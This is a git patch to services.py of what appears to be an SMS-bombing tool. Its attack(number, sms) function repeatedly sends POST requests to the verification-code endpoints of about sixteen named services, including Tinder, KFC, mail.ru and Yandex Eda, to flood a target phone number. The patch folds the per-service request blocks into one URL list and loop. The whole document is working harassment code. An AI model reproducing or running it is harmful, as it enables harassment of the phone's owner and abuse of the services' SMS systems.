From cf35949d565fb504d84c9d9632edbbefd936e655 Mon Sep 17 00:00:00 2001 From: WitBlack <60584448+witblack@users.noreply.github.com> Date: Fri, 22 Jan 2021 01:52:37 +0330 Subject: [PATCH] Some commands became more concise --- services.py | 137 ++++------------------------------------------------ 1 file changed, 10 insertions(+), 127 deletions(-) diff --git a/services.py b/services.py index cf27dd6..ee71d07 100644 --- a/services.py +++ b/services.py @@ -68,130 +68,13 @@ def attack(number, sms): print("-" * 33) HEADERS = random.choice(heads) while sent <= sms: - try: - requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post("https://qlean.ru/clients-api/v2/sms_codes/auth/request_code",json = {"phone": number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://cloud.mail.ru/api/v2/notify/applink',json = {"phone": number_plus7, "api": 2, "email": "email","x-email": "x-email"}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': number_plus7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://b.utair.ru/api/v1/login/', data = {'login':number_8}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data = {"phone_number":number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://www.citilink.ru/registration/confirm/phone/+'+ number_7 +'/', headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone", data = {"st.r.phone": number_plus7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://app.karusel.ru/api/v1/phone/', data = {"phone":number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://youdrive.today/login/web/phone', data = {'phone': number, 'phone_code': '7'},headers=HEADERS) #headers = {}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://api.mtstv.ru/v1/users', json={'msisdn': number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://youla.ru/web-api/auth/request_code', json = {"phone":number_plus7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://eda.yandex/api/v1/user/request_authentication_code',json={"phone_number": "+" + number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post("https://api.ivi.ru/mobileapi/user/register/phone/v6", data= {"phone": number_7}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post("https://api.delitime.ru/api/v2/signup",data={"SignupForm[username]": number_7, "SignupForm[device_type]": 3}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass - - try: - requests.post('https://www.icq.com/smsreg/requestPhoneValidation.php',data={'msisdn': number_7, "locale": 'en', 'countryCode': 'ru','version': '1', "k": "ic1rtwz1s1Hj1O0r", "r": "46763"}, headers=HEADERS) - sent += 1 - time(sent) - check(sent,sms) - except: - pass + # send request to all APIs for sending sms + APIs = ['https://b.utair.ru/api/v1/login/', 'https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', 'https://www.citilink.ru/registration/confirm/phone/+', 'https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone', 'https://app.karusel.ru/api/v1/phone/', 'https://youdrive.today/login/web/phone', 'https://api.mtstv.ru/v1/users', 'https://youla.ru/web-api/auth/request_code', 'https://eda.yandex/api/v1/user/request_authentication_code', 'https://api.ivi.ru/mobileapi/user/register/phone/v6', 'https://api.delitime.ru/api/v2/signup', 'https://www.icq.com/smsreg/requestPhoneValidation.php', 'https://api.sunlight.net/v3/customers/authorization/', 'https://qlean.ru/clients-api/v2/sms_codes/auth/request_code', 'https://cloud.mail.ru/api/v2/notify/applink', 'https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms'] + for API in APIs: + try: + requests.post(API, data={'phone': number_7}, headers=HEADERS) + sent += 1 + time(sent) + check(sent,sms) + except: + pass